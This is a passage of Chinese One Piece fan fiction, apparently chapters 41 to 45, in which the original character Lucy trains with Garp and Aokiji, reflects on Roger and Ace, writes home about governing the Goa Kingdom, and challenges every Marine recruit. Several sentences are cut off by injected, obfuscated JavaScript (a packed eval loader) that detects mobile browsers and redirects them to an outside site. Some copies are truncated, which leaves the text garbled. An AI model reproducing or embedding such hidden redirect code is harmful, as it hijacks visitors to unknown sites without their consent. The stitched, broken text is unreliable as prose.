这就是以生命为赌注的战斗，每一秒的时间既短暂又无限漫长。而在被海兽吞噬之前，卡普手持鱼竿的手一动，她的身躯在空中高高翻转。那张可怖的嘴离她只有几厘米，却再也触碰不到。卡普用另一只空闲的手一拳打出，分明隔着一段距离，拳风却切切实实地落在海兽身体上。 海兽先死一步，她落在甲板上，大脑还因为刚才的高空旋转有些泛晕。 卡普拍拍手，“好，今晚就用这条海兽加餐吧！” 路希：“……” 她忽然开始怀疑爷爷的本意只是想晚饭换个口味。不过话说回来，钓到的海兽不吃白不吃。 像是看透了她的想法，卡普瞪了她一眼，大声说道：“训练失败，你今天不准吃晚饭。” 路希：“……才一次啊！”这老头绝对是故意的。但是没关系，这年头哪个小孩不会自己去厨房顺手摸饭吃。她同样大声应道：“不吃就不吃。” “又开始了……”“又吵起来了呢……” 面对两人的争执，海军们接受良好，自船起航至今，卡普和路希互吼已成为家常便饭，从一开始胆颤惊心地围观变成后来说说笑笑的围观，倒是中途被解救的女人是第一次见识，迫于海军中将这个身份的威压，她只能在背后恼怒地竖个中指，然后关切地看向路希：“没事吧？有哪里受伤吗？晚饭的事不用担心，我到时候偷偷把自己的食物分给你吃。” 她还记得这个孩子之前解救她们说的话，海军会提供免费的食物。她可以多拿一些分给这个孩子。 路希怔了一下，女人的善意透过相握的手传递过来。她摇头，笑着应道：“谢谢姐姐，但是没关系，我可以偷偷摸摸去厨房拿肉吃。” 女人不太赞同地看着她。“如果被发现会很糟糕吧。” “不会的不会的，我很有经验。而且那个老头……呃，我是说卡普中将，其实只是嘴硬心软。对了姐姐，我再告诉你一个秘密吧，”路希笑眯眯地趴在女人的耳边悄声说道，“卡普中将虽然对部下很严厉，可是他绝不会对普通的平民出手。所以，你可以在他面前光明正大的竖中指，而他最多只能嘴上和你吵两句。” 女人呆了一下。“诶、诶诶……” 虽不知真假，并且听上去十分不礼貌，可是……好想试一下。 卡普的军舰最终在最近的海军基地支部停下，将抓捕到的海贼与受害者们统一交给基地的军官。 海贼们的去向自然是监狱，而受害者会根据提供的信息，到时候交由支部的海军附送返回原来的岛屿。 而在分别前，这个曾在船舱底下抱着路希哭过的女人，勇敢地达成了在海军中将面前竖中指的成就，并且认真建议道：“我理解您想看到孩子早日成才的心理，但是过于急成是不可取的！” 被反过来教育的卡普：“……”他的头转向一边，“嘁。” 路希笑得乐不可支。 卡普露出阴恻恻的眼神盯着她。 狂笑的路希：“……咳咳咳，呛到了。” 此时天色已将近黄昏，不是出航的好时候，何况众人已经在海上航行了三四天，便决定在这座基地支部暂且休息一夜，顺带补充物资。 海军基地的附近有一座小镇，孩童探索新地方的好奇天性在这个时刻涌了上来，路希拽住卡普的袖子，兴奋道：“爷爷爷爷，我们去镇上玩吧！”偶尔的休息也是必要的。 “这种小镇子能有什么好玩的。”卡普口中抱怨着，身体倒是老老实实被路希拉着走。 哎，这个时候倒是和其她小孩子没什么区别了。他的眼中难得露出慈爱之情，如果能一直这样乖乖听话下去就好了，别抱有什么出格的野心，只是纯粹的以海军元帅为目标。如果只是这样……他一定会把她送到那个位置的。 她们走在路上，就像世界上最普通的一对祖孙。 小镇上确实没什么好玩的，除了酒馆和小饭馆，基本没什么店铺开着，毕竟人流量来来去去就那么点人，不如早点闭店歇息。街道没点灯，显得黑漆漆，路希鼓起脸颊，有些小失望。 “什么嘛，就没有更热闹一点的地方了吗？” “当然有，只是现在的你还没有去到而已。” “我饿了。” “不是命令你不准吃晚饭吗！” “现在的我不是三等兵，只是你的孙女诶。我要吃饭——我要吃饭——！” “麻烦死了，别吵！” 最终还是选了一家小饭馆吃饭，两个人都充分发挥家族精神，对食物狼吞虎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194750|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咽、风卷残云。 “说起来，爷爷，”路希咽下食物说道，“也给我说说你去过的其它岛屿吧。” “那可就太多了，我还是给你讲讲我当年是怎么一拳一个海贼，当上海军英雄的故事吧。” “没兴趣，不要听。” “不讨喜的臭小鬼。” “罗里吧嗦的糟老头子。” 两人恶狠狠地互相对视一眼，随后各自扒饭扒得更狠，简直就像在进行什么吃饭比赛。桌子上的盘子很快堆叠起来，高高一摞。 “嗝。” 路希打了一个饱嗝。 “嗝。” 卡普也打了一个饱嗝。 两人舒适地摊在座椅上，露出同样幸福的表情。 卡普懒洋洋说道：“看到了吗小鬼，海军守护的，就是这种和平啊。” 路希也懒洋洋回应：“我会把这个世界变得更美好的。” “可真会放大话。” “实现了就不是大话。” “先做到别被海王类一口吃掉吧。” “那是你太急于求成了。” “别用其她人的话来骂我。” 路希克服着惰意坐起来，给了卡普一个鬼脸。卡普闭上眼睛，直接无视之。两人坐到饭馆歇业，被老板请了出去。 此时夜色更深，街道已无人影。路希沿着来路归去，卡普跟在她身后，看着前方的身影偶尔慢悠悠地走路，偶尔蹦跳着前进，也不知都在想些什么东西，他漫不经心地想。 离支部基地只有数百米距离的时候，路希的步伐忽然放缓，渐渐落在卡普身后。 “我……觉得有些高兴，”她看着对方的背影说道，“白天，我救下的那个女人感谢我，说要把她的晚饭分给我吃时。”路希看向脚下的道路，“有一种很愉悦、很轻松的感觉。” 虽然在哥亚王国，带领大家打败贵族们后，也收到了那些流浪者热烈的敬意和感谢，但那种感觉与白天的不太一样。在哥亚王国，她更多的是为了实现自己的目标，这些敬意和感谢都是早就知道会得到的东西。 “那是因为你帮助她人得到了回报。” 路希默不作声，继续看着卡普的背影。 “想要保护什么人，想要让谁活下去，想要让世界上的人过得更好，就是这种纯粹的守护之情，与所谓的梦想和目标都无关，并不是为了得到什么，只是单纯的帮助她人，然后获得了感谢。” “是这样啊……好像也不算讨厌。” 这下换卡普默不作声了。 “那爷爷你就是为了得到这些感谢，才会一直坚持当海军的吗？” “不，我只是想让这个世界变得更加和平一点。这种东西只是附带品而已。” “和平啊……” 这种东西倒是难以界定，至少在贵族和平民眼中，两者的和平代表的意义绝对不一样。不过不提这些，现在的大海无论如何都不算和平，毕竟可是前任海贼王罗杰亲口引起的大海贼时代啊。 也正是这个时候，有一件一直被忽视的事情击中了她，直到想起罗杰这个名字，路希才反应过来，她问道：“爷爷你很讨厌海贼吧？” “是啊。” 得到了理所当然的肯定回答。 “那你也讨厌海贼王罗杰吧。” 卡普的嫌弃之情更甚，“什么海贼王，就是个混账而已。” 于是她终于问出了那个问题，“既然这样，你为什么要收养艾斯呢？” 在海贼码头，艾斯犹豫着亲口告诉她的真相——他是海贼王罗杰的孩子。然而她的爷爷，却是海军英雄啊。这么明显的矛盾展现在她眼前，而她却忽视得如此彻底。 42.在海军 随便抓路过的一个人问，海贼王罗杰是怎么样的一个人？都会得到确切的答案。 残暴、凶狠、邪恶。 开创了大海贼时代，让世界变得愈发混乱，普通人生活更加艰难，罪无可赦之人。 这样一个恶劣之极罪犯的孩子，作为海军英雄的卡普为何要瞒下所有人，收养他？或者说，他是怎么得知艾斯存在的？罗杰处刑后，海军派出了大量人力物力寻找他的后代，抓走了那个时间段的诸多孕妇与出生的儿童，皆一无所获。 这其中也是因为，她的爷爷出手保护了艾斯的母亲吗？那是否可以反推断一件事：卡普与海贼王罗杰的关系其实不错？ 对此，卡普的回应是，选择装傻。 “你想说什么呢？艾斯是老夫一个去世朋友的孩子，仅此而已。” 路希紧追不放。 “罗杰是你的朋友吗？” 得到了毫不留情的铁拳攻击。 “那家伙是海贼、海贼！给我记住了。” 路希摸摸头上新鲜出炉的包，无视痛楚，继续说下去。“艾斯亲口跟我说的，我当时有些吃惊，不过没什么其它想法，所以才会到今天才想起来。但是意识到了这件事就很难继续忽视了呢。” 又来了，卡普想，这种感觉，和当初在战国办公室收到对方的电话，说要火烧哥亚王国的感觉一样。他的孙女真是一点都不让他这个老年人省心啊。 “问这么多，你是想得到什么答案？” “唔……爷爷是怎么知道艾斯存在的呢？” “我的朋友死前告诉我的。” “那么他一定很信任你。” “或许吧。” “海军和海贼，除了是敌人，也会有中间的选项吗？” 卡普沉默了半响，才回应道：“这个世界很复杂，你要学会用你自己的眼睛去看，然后，别忘记自己的正义。” 她自己的眼睛啊。 那天晚上回去后，路希并未直接入睡，而是躺在床上思考了很久。 她想起了当日与她们共同作战的革命军。 革命军是为了推翻现今的政权，反抗贵族与天龙人而成立的组织。对被压榨的平民们而言，这个组织与其说是穷凶极恶的犯罪组织，倒不如说是希望的曙光。然而世界政府怎么会允许这种东西存在。 而从革命军的角度，世界政府定制的不平等政权才是普通人们痛苦的源泉。贵族与天龙人高高在上，而平民们却只能匍匐在地。世界政府才是真正的黑暗。 角度的不同，导致各自的看法也不一样，对海贼的判断也如此。 纵然有蓝宝石海贼团那样邪恶的存在，但同样有香克斯这种与岛上居民友好相处的海贼。让她想想，罗杰应该属于后者吧。毕竟若真的属于前者那样的海贼，卡普怎么会和他成为朋友呢。 海贼王的秘宝，与其说它真的是一份富可敌国的财宝，倒不如说更像是一种希望，一种昭示着，会过上与现在生活不同，全新生活的希望。 那岂不是说真的有许多人对现今的状况不满？如果生活一直很美好，又何苦为了一份这么虚无缥缈的希望离开家乡？ 世界政府本想用海贼王的死来威慑大家，结果他却在死前用一句话点燃了众人的希望与野心。 世界是很复杂的——并非所有事情都如同表面展现出来那般，非黑即白，看到的一切并非是真相。如同大海的表面是无害的湛蓝色，可数千米的深处，却隐藏着不可见的危机。 这样一番思索过后，路希觉得自己的道路愈发清晰。 她想成为的世界之王有两种选项：一是以绝对的暴力与恐惧征服这个世界，将世界上的所有人践踏在她的武力之下，世上众人只能仰望她、臣服她，若有反对之心，一斩了之。但这样就与现在的世界没什么区别。 所谓的天龙人就等于是她日后会成为的身份，除却她比这些天龙人多出了武力并且更加一言堂。 如果只是这样简单粗暴她也不需要加入海军了，日后出海当海贼也能踏上这条路。 二是，让这个世界变得更有秩序、更加和平。除她之外，人人平等的世界。既然如此，她要对抗的黑暗可真是会多得不得了，要知道现今世界可是阶级分明，最高贵的天龙人和最底层的虏仆，还有自成一派的海贼势力。 可是，路希想起白日里那个女人对她的感谢，对方露出的微笑。她想看到更多那样幸福的笑容，因为她察觉到那个时刻自身也是开心的。因此她要成为一个新生和平世界的掌控者。 王正因其有子民存在才能称之为王，她要守护她未来的子民。她想成为那样的世界之王——被敌人深深恐惧，被自己的子民爱戴——这就是她选择的道路，她所要持有的正义。 破坏实在太简单了，而守护更加有趣一点，不是吗？ 既然已经想通，路希也不做多余的思考，而是钻进被窝，好好的睡了一觉。 翌日清晨，便是从支部基地出发，继续巡视大海，抓捕海贼。临行前，那群被救下的女人感谢的同她们道别。 路希趴在栏杆上对她们挥挥手，大声喊道：“再见——别忘记我的名字，我叫路希，是未来会成为海军王的人。” 在目前的阶段，她可以做的便是帮助每一个有需要的人，为自己打下好名声的基础。 在海军内部，路希不介意让他们知晓自己是卡普的孙女。但在外部，她却希望隐去这点。人们以后提起她时，说的是那个路希少将、路希中将，总之随便什么职位，而不是那个海军英雄卡普的孙女路希。 之后在船上，卡普对她的训练，除却当鱼饵钓海王类，又多了一样，便是每日不定期定时对她发动铁拳攻击，名曰实践是最好的老师。 等她哪天能顺利躲过并且反击，见闻色霸气的训练才算合格。目前十次中有九次失败，不过她的抗挨打能力倒是增强了不少。 此后的日子并无异常情况，每一天都有序地向前推进。海上巡航的时间过得很快，返回海军本部后，路希得知古伊娜已经成功加入了女子海军队的新生训练营，并且和孔雀打过了交道。 “我输了几次，目前还没赢，最多是平局。”古伊娜坦然地面对自己的失败，“她的武器是鞭子，并且能控制我的刀。” “控制？” “嗯，大概是她恶魔果实的作用，一旦被她的鞭子打到，便会不由自主的受其控制。那家伙说，等哪一天我赢了，才会告诉我果实的名字。”古伊娜笑了笑，“果实名字这种事我倒没有很好奇，毕竟几次战斗下来，我已经差不多了解她的能力了。再打一次，我会赢。” 她说得信誓旦旦，路希自然选择相信。 “不过，鹤中将的船又出航了吧。” 古伊娜不无遗憾地点头，“是啊，我还没有从新兵训练营毕业，因此还没得到出航的资格。” 海军的新兵招收进来，会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这种粗暴的想法惊到了古伊娜，她迟疑了会，说道：“确实，这种做法确实会起到作用，但是只用暴力，恐怕还不能让所有人心悦诚服吧。” 路希笑笑：“当然不是抓到一个就打过去，我会堂堂正正地对所有人发起挑战。” 古伊娜：“恕我直言，你说的这个挑战应该不是现在吧？” 路希：“当然不是，现在的我毫无本事呢。不过……”她侧头想了想，应道，“至少三个月。流言这种东西在最开始出没的时候解决最好，但我还做不到，可终究不能拖太久。太久了，大家心中的想法就会固定下来，难以更改。所以至少三个月，三个月后，我要解决这一切。” 是放大话还是真的相信自己能做到，古伊娜注视着路希，心中有一阵奇异的鼓声悄悄响动着。她忽然笑了起来，看着对方说道，“那么到时候，需要我帮助你吗？” “不需要。”路希斩钉截铁地回绝了她的建议。 “这样啊，”古伊娜靠在椅背上，展现出自己对她的信赖，“那我很期待到时候你的表现。” “那你呢？” 路希却突然反问，古伊娜知道她在问什么，她未思索过久，很快给出了自己的回答。 “如果你能做到，那我绝对也可以做到。倘若你是第一个全部打败他们的人，那我便要做第二个。我要同你一样，让他们笼罩在我剑术的阴影下。”她停顿了片刻，继续说道，却带着挑衅的意味，“不，你不一定就是第一个。说不定我会比你更快出手。” 于是路希回应了她的挑衅。“我也同样很期待之后你的行动。” 43.在海军 加入海军后的第一个小目标：打败同期的全部新兵。 在开始针对这个目标有计划的训练前，路希先写了封信，准备寄回风车村。信的内容是关于哥亚王国的相关建设。当然，也有她在海军本部的一些生活情况。 不过主要的还是关于哥亚王国的事。 一个势力想要发展起来，必须要有清晰的组织构架。算是试验，也算为了更好掌握哥亚王国——只交给路飞他们三人全权负责自然是不可能的，三个人中有两个是笨蛋诶。因此她参考了一点海军的内部情况。 首先，她是独一无二的王，虽然这个王目前跑去了其它势力，可这一点毋庸置疑。于是，暂时代替她实行王这个职责的，路希决定分成两方，一文一武。 文交由玛琪诺负责，武则是达旦。 而文武之下的，选出七个人，上负责监督玛琪诺和达旦，下负责处理哥亚王国的各种事项。玛琪诺与达旦下达的任何关于哥亚王国的重要决定，需得经过七人会议的投票决定。同样七人会议中若有人提议，也必须经过文武二王与其他六人投票决定。 似乎有有点严格正式了呢，路希边写边想，不过凭玛琪诺她们的性格，就算落实了下去，估计平日也不会有什么太大变化。甚至有可能吃吃喝喝的时候就随便通过了什么决定。 但这样似乎更好，能相处得如此融洽，必定说明是个平和的地方。 当然，这七个人中，必须有三个人是路飞、艾斯与萨博。至于其她四个人，交由大家共同选吧。为了防止弄虚作假，嗯！就让玛琪诺和达旦有一票否决权，重新决定人选。 明面上暂时就是这样，至于暗地里……就让萨博负责暗中的观察，有无想让哥亚王国回到以前情况的异心者，然后就交由艾斯处理吧，他是三个人中最能打的。至于路飞，路飞可以当气氛组。 哎，好可惜啊。路希略带遗憾地叹口气，这种有趣的事，没能亲自参与进去。不过没关系，她肯定还会遇到其它更有趣的事处理。 路希咬咬笔头，关于哥亚王国的制度事项，差不多到这里为止。严格来说她只是给出建议，是否真要这么做全看她们的想法。 【萨博，如果作出决定，那具体的事项就多麻烦你了。】 路希又写下一行字。 有一说一，她还是挺欣赏萨博的，比起路飞和艾斯，萨博绝对是智商最高的那个，而且，主动与贵族阶级切割，发起反叛，已经证明了他的本性。在反攻哥亚王国事件后，也能隐约察觉出，他原先当海贼的念头在动摇。 既然如此，不如到她的麾下来，带领更多的人反抗旧世界吧！ 说起来，她又想起一件事，继续往下写。纸上的内容与霸气有关。 【路飞，我已经破解了为什么爷爷每次打你，你都会痛的未解之谜。没错，那就是霸气，爷爷掌握了霸气！】 路希把从青雉那里学到的三种霸气知识通通写进信件里。不能她一个人在海军努力变强，大家都要努力变强，这样以后她需要帮助的时候，才能得到有力的援助。而且其中两个哥哥还是决心非常强的要当海贼呢，那就说明迟早要与大将和新世界的四皇以及其它海贼们碰上，早点变强是没有错的！ 学，都给她往死里学！ 至于六式，考虑到这是海军内部的训练内容，她还是不告知了。 接下去则是杂七杂八的日常，诸如她交了个未来是天下第一的新剑豪朋友，拜了一个大将当老师，救了被海贼抓走的平民，被爷爷当成鱼饵钓海王类……等全部写完，竟然也有四页多。 最后在写上自己的名字：海军的征服者、未来的海军王、伟大的世界之王、哥亚王国真正的统治者、玛琪诺与达旦之女、路飞，萨博与艾斯之妹——蒙奇·D·路希，敬上。 完成这重要的一环，路希把信塞进信封里，等到时候交给送信鸥寄出去。然后便是训练的相关事宜。 体能的基础训练必不可少，除此之外，她决定给自己加上对战训练。 新兵的对战训练自然是与其他新兵，可她既然要将他们全部打败，自然不可能在现在去找这些人练习。因此路希果断选中了卡普。 爷爷就是应该在这种时候派上用场的嘛。可惜青雉老师还没回来，不然他也跑不了。 于是卡普悲惨地失去了他的休息时间。 倒也不能说失去，只能说他的休息时间不断地被干扰。 喝茶的时候、吃仙贝的时候、和战国聊天的时候、打盹的时候、在路上悠闲漫步的时候、甚至是晚上睡觉的时候……不管哪个时刻，总会有某个小孩拿着水管突然地窜出来，阴暗地对他发起攻击。 “爷爷我来打你啦——！” “砰——” “我飞啦——！” 通常情况是被他一拳头击飞出去。 “爷爷我又来打你啦——” “砰——” “我还会回来的——！” 然后是持续不断的循环。 卡普深深扼腕，努力地回忆到底是谁把这个麻烦带到海军总部的。哦是他自己啊，那没事了。 这种景象很快成为了海军的一道奇妙风景线，甚至战国见到他时还会经常故意取笑：“卡普啊，你家的小孩今天又打了你几次？” 卡普：“……” 战国：“小孩子活泼贪玩很正常，你也别总是每次都打飞她。” 卡普：“……送给你教，要吗？” 战国：“……”算了他不说了，他不想要。 路希的练习对象当然不止卡普，还有卡普的副手和其他部下。反正只要是卡普麾下的，谁都别想跑。 何况这群人本身每天都要训练，加一个路希并不算什么。 与卡普相比，这些人最初还会看在她的身份与年龄上对她手下留情，没用全力。然而面对他们的放水，路希只是微微一笑，随后毫不留情地打下去。 真好，还有这样的好心人存在，如果海贼也有这么多的好心人就好了，那她岂不是轻轻松松就能抓到上百个海贼升职。 就这样，在混乱的嚎叫声中，接下去与路希对战的海军再也没有选择放水。他们对小孩留情，小孩并不对他们留情。 既然如此，那就双方都火力全开吧！ 路希很快地成为了医务处的常客，每天在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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并且，与海军们的对战训练，虽然彼此都拼尽全力，但并不涉及生死，而与海贼们就不一样了，海贼们不会介意杀死一个小孩，甚至因为她是小孩，反而会把她当做突破口，向她袭击。 生死搏斗，往往更容易激发人的战斗潜能。她总是很乐意抓住一切变强的机会。 当然，虽然没见到孔雀，不过因古伊娜的原因，两人也算有了纸面交流。古伊娜在某次她外出回来时，递给她一张纸。 “我跟她说了你要一拳打死海王类的目标，那家伙看起来很不爽呢。‘不过是个小屁孩，放大话’，就是这样的话吧，并且让我把这张纸条转交给你。” 路希接过来，打开纸条，上面写着一句话：我才是会最先一鞭打飞海王类的女人。句尾附赠一个爱心。 路希困惑地看着句尾的爱心：“这爱心是怎么回事啊？”这句话应该是挑衅吧，但为什么有个爱心？ 古伊娜耸耸肩：“她的习惯。” 路希：“啊，就是个人特色之类的吧，爷爷的船就是一个狗头，平时有事没事会戴着个狗头帽子，我是不是也应该弄点什么专属特色呢？” 古伊娜：“……” 不理解，也不是很想理解。 路希收好纸条，语气轻松：“算了，个人特色这种事以后在考虑。我还是继续增强实力，争取比孔雀更早打死海王类，到时候就可以把这张纸扔她脸上打她脸了！” 古伊娜：“你忘了我的存在。” 路希：“那你也写张纸给我，我到时候扔你脸上。” 古伊娜无奈摇头。 44.在海军 “剃——！” 青雉刚骑着自行车从外回来，踏上海军总部的路，就见一道熟悉的身影拿着水管朝自己袭来。不过是短短数十天没见，他的学生已经掌握了六式中的其中一招。 “我说你啊……” 伴随着无奈的叹息，青雉手上冷气凝结，形成一把冰刀，挡住了闪现而来的路希。 锵—— 武器与武器相撞，发出响亮的撞击声。 是该感谢对方的热情，还是赞扬她的天赋呢，在这两个选择之间，青雉加大力度，毫不留情把路希击飞了出去。 总之，还是烦恼学生的缠人程度吧。 “月步——” 在击飞出去的当下，路希迅速将所有力道集中在脚上，半空中使出月步，稳住身形，并在下一刻急速朝青雉冲去。 体力有限，她用不了几次，得速战速决。踏至地面后，她再度用出剃，闪现至青雉近处。 面对这种差距过于明显的切磋，青雉显然不会出全力，不然一招秒了，要怎么让学生学到东西。 锵—— 两人的武器第二次相撞，然而与前次不同，路希的左手顺势沿着水管上移，手指指向青雉腹部。她抬眼看着青雉，面上表情不变，心中默念道：“指枪——” 路希听到青雉语调几乎没什么起伏的赞扬。“不错。” 失败了，她心想。下一秒，青雉的身体在她眼前元素化，指枪攻击到的是空气。她再度被青雉击飞，这一次，身体已没了多余的力气发动月步。青雉愣是在用果实能力作出了空中滑梯接住了她，路希顺着这个小型的冰冰滑梯溜了下去。 她躺在地上，开口抱怨道：“恶魔果实能力者也太狡猾了吧。” 青雉走过去提起她：“要去找一个吃吃看吗？” 路希拍拍衣服上的尘土：“再说吧。”她对这个建议不置可否，恶魔果实可是稀有物品，她就算想吃也不一定能得到。 她跟着青雉走向海军的办公楼、对方边走边跟她闲聊。 “听说你最近一直在找人对打？” “是啊。”路希思考片刻，说了出来，“我准备挑战这期所有的海军新兵。” 就算是青雉也小小地惊讶了一会，他沉默一瞬，确认道：“全部？” 路希语气肯定：“全部，我要在三个月内把他们全部打败。” “三个月啊……怎么这么着急？” “老师不觉得有紧迫感是好事吗？压力是动力的来源呀。而且，我认为自己还蛮有战斗天赋的呢。” 那倒是，青雉心想，有的人需要好几年才能学会六式，甚至只是其中一项，而有的人只需看上一眼，花费短短数日便能学会，若本身身体素质够强，在看到招式的当下，便能施展出来。 他是一眼就能学会的人，他的同事赤犬与黄猿亦如是。 “如果你能做到，或许……这期海军新兵的怪物就是你了吧。” 新兵中，若有人展现出远超同期的身体素质与个人能力，便会被冠以怪物的名号。不过，虽然时常会见到这种人，但以青雉自己的标准来定，他已经数年没见到符合要求的对象了。 路希有些困惑地问他：“怪物？” 青雉的语气带了点笑意，慢悠悠说着话：“三大将全都是那样天才的怪物哦，”啊，他可没有自卖自夸，只是说出事实，“再往上数，你的爷爷，鹤中将，战国元帅也都是这种怪物。” 他听到底下的人短暂的安静了会，随后响起的声音比先前更加坚定，“那我绝对要得到这个称号，我要把所有新兵踩在脚下。” 要热闹起来了，青雉忍不住思绪飘散，最终却又聚集到一个人身上，他想，他收了个不得了的学生。不知为何，或许是对方自信的态度，又或是展现出来的远超常人的天赋，和脚踏实地的努力，总之所有的一切结合在一起，竟给他也带来一种确定的答案，她确实可以做到。 ——打败所有新兵，用实力站在他们头上。 * 时间不断地朝前行进。 路希的对战对象也不再局限于卡普和卡普的部下，甚至瞄准了青雉和青雉的下属们。 她爷爷手下的兵都已经给她练了起来，不去打打她老师手下的兵，好像说不过去啊。做人做事都得公平公正，她可是正义的海军，路希心想，于是她对青雉提出了请求。 青雉默然无语，只能平静接受。反正就算他拒绝，路希也会自己想办法。青雉十分确信这一点，看他之前刚回来就被找上被迫打一架的事就清楚了。 逃不过的，一旦被这个孩子瞄准，天涯海角估计都会把你抓回来。恐怖如斯。青雉感叹道，开始了主动工作，准备找个理由再次逃离到海上。 过后不久他的副手带着一大堆请求找上他，具体可以概括为能不能让这位大将管管他的学生。 俗话说得好，上梁不正下梁歪，什么样的大将带出什么样的兵。虽然青雉对海军的忠诚肉眼可见，可他对工作的敷衍态度也异常明显。而他的部下多少沾染了点同他一样的懒散气息。不像隔壁赤犬大将底下的人，每一个看上去都可以为了海军，做那根燃烧彻夜的蜡烛。 副手含糊不清地对青雉说道：“那啥，大将，要不您多花点时间教教她呗。” 青雉：“……” 青雉的眼神陡然凌厉起来，“在海军本部不上进就只能被海流推着往下退，我看是平时对你们太过疏忽了。” 副手：“……” 行，大家一起卷，谁都别想跑。 最后青雉顶着浓重的黑眼圈毫无形象地靠墙坐着，他很想拉下眼罩睡觉，但不是他的学生来干扰，就是他的部下来干扰，总之没一刻是清闲的。 训练场上的对战声不绝于耳，热血朝天。 奇妙地，像是具有传染性那般，路希的战斗身影不知不觉带动了其他人，看着一个年龄还是个位数的孩子，好似要将余下的所有生命都投进去，在一场场对战中燃烧自己，除非败北，否则绝不后退，除非彻底无力，否则绝不停下休息……这样一个年轻的生命，尚且如此拼命，他们还在场上摸鱼似乎有点说不过去了啊。 “下一个。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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青雉日复一日地注视着对方的打斗身影，绝不犹豫，绝不退缩，像蛮横的野兽要将它的猎物逼至死路，这个孩子身上有一种天然的野性，难以降服难以驯化，天生狂妄。这蓬勃的野性恍若炽热的太阳，竟也将他长年累月积压着霜冻的灵魂照射至微微战栗，滴落些许水珠。 倘若她实现自己的挑战—— 倘若她能再进一步—— 青雉不由自主地想，打败海军新兵后，她接下去会做出什么事？是乖乖地跟随卡普的军舰出航，老老实实抓捕海贼，建立战功，用这种最简单也最稳妥的方式慢慢晋升至上层吗？还是…… 他带了少许期待，同时夹杂着其它更为复杂的心绪，等待着对方发出挑战的那一日，是彻底的败北，亦或是究极的胜利。 而那一日终于来临。 三个月，路希心想，不算漫长，甚至有些短暂，好像只是睡了几觉，时间便忽然走到这里。这一次与哥亚王国之事不同，不会有路过的革命军助她，她亦不会召来当海军的爷爷托底。这是她对自身实力发出的挑战。她在询问自己，让我看看，你能走到哪一步。 路希扛着水管，大摇大摆走进新兵训练处，在海军教官疑惑的眼神中，大大方方说道：“我来挑战。” 45.在海军 年龄：七岁。身高；一米三出头。武器：一根水管。狂言：挑战全部新兵。身份……海军英雄，卡普中将的孙女，大将青雉的学生。 “别太过分了。”“本身也不是通过考核进来的。”“为什么要让这样一个小孩加入啊？”“难道我们还要故意输给她吗？” 人群中，能听到有人窃窃私语。 在海军教官更进一步的询问下，路希先前已经直白的把自己的目的说了出来：来挑战全部新兵。 教官流着冷汗心想怎么把人劝回去，这期的海军新兵共招收了一千五百八十人，就算一分钟一个，中间不停下休息也要花上一天多的时间，更别提说出这话的人只是个刚加入海军的小屁孩。 换她爷爷过来倒是能一拳打倒数十个，轻松解决，不如说是什么给了她这种不知天高地厚的自信，海军教官些许好奇，同时打着哈哈试图把对方劝回去，将这件事平息下来。 毕竟，在空闲时间，她偶尔也能听到学生们对其的抱怨。 海军英雄的孙女嘛，她或许还无法完全理解这个身份的象征意义，但带来的知名度绝对比她想象中的要高。最开始倒无人有异议，甚至有些敬佩，当然不是对路希，而是卡普。让自己的家人放弃平和舒适的生活，转而加入海军，赌上性命维护和平，与所有的黑暗为敌，如此无私的精神。 他们对路希并未有什么特别的期待，甚至不是十分在意，悬挂在她头上的是卡普的名气。 可结果并不如他们所料。 在文化课上那般狂妄的答话很快的成为八卦在新兵们中流通。在多数人选择与贵族虚与委蛇，保全平民，少部分人选择听从贵族，舍弃平民。两种选项中，她回答的是第三种：杀掉贵族。 杀掉贵族，一个何等粗鲁、肆无忌惮的回答。 就像海贼们做的那样。 这个世界的正义守则，海军们的正义守则，说复杂倒也不复杂，一句话就能概括：守护加盟国的人民和平。 而在这守护的名义下，又细细地分为几层不同的阶级：天龙人、贵族、普通平民。 绝对的正义其实是三六九等的正义，人命的价值并不相等。身为海军的他们，是无论如何不可以对贵族们出手的，更别提杀掉他们，那直接去当海贼吧，还有革命军。 童言无忌亦或是、邪恶。 说出这般大逆不道言论的人当天就成为了大将的学生。得知这个消息后，从心中一闪而过的是羡恨，还是…… ——真好啊，因为有个英雄爷爷，所以说出这种话也无所谓。 ——我当海军其实是因为国王与世界政府的交易，国王答应每年选出一定人数上交过去，我是在贫民窟被抓住的啊，其他人也不知道去了哪里。 ——这不完全内定嘛，那我们的努力算什么，海军本部也就这样了啊。 ——这样的小孩，简直是侮辱了卡普中将的名誉。 年龄与地位，性格与行事。 不过是个七岁的孩子，仗着特殊的身份，若她是贵族出生，还不知道要欺压多少人呢。转而忍不住又想，如果是他们的话，如果是他们的话……一定可以把握住更多机会，做得更好。无法将这些不满与抱怨对着当事中将与大将发泄，那些灰色的情绪最终只能落到一个人身上。 最弱小的那个孩子。 何况，还有另两个鲜明对比。比她更早一年加入海军的鹤中将的孙女，孔雀，以及与她同期加入的，作为她朋友的古伊娜。 一个有着相同身份，却从未有过出格之举。另一个则是从早到晚，在新兵营训练一刻未曾停歇。 后者的努力很快化为实力，在训练中体现出来。最初的对战仍有输有赢，到后来已全是对方的胜利。这才是他们的同类，虽然将他们一个接一个打败，但他们站在同一个起点。倘若这期的新兵会有“怪物”诞生，那也应当是这个名为古伊娜的少年。 